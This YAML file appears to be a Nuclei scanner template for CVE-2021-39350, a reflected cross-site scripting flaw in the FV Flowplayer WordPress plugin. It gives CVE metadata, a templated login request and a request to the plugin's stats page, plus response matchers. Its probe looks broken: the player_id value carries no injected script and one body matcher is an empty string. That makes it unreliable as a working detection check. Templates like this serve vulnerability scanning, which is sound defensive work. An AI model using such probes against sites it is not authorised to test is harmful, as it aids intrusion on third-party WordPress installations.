id: CVE-2021-39350 info: name: FV Flowplayer Video Player WordPress plugin - Authenticated Reflected Cross-Site Scripting author: gy741 severity: medium description: The FV Flowplayer Video Player WordPress plugin is vulnerable to Reflected Cross-Site Scripting via the player_id parameter found in the ~/view/stats.php file which allows attackers to inject arbitrary web scripts in versions 7.5.0.727 - 7.5.2.727. reference: - https://wpscan.com/vulnerability/e9adc166-be7f-4066-a2c1-7926c6304fc9 - https://nvd.nist.gov/vuln/detail/CVE-2021-39350 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-39350 cwe-id: CWE-79 tags: cve,cve2021,wordpress,xss,wp,wp-plugin,authenticated requests: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Origin: {{RootURL}} Content-Type: application/x-www-form-urlencoded Cookie: wordpress_test_cookie=WP%20Cookie%20check log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - | GET /wp-admin/admin.php?page=fv_player_stats&player_id=1 HTTP/1.1 Host: {{Hostname}} cookie-reuse: true matchers-condition: and matchers: - type: word part: body words: - "" - "

FV Player Stats

" condition: and - type: word part: header words: - text/html - type: status status: - 200 # Enhanced by mp on 2022/03/23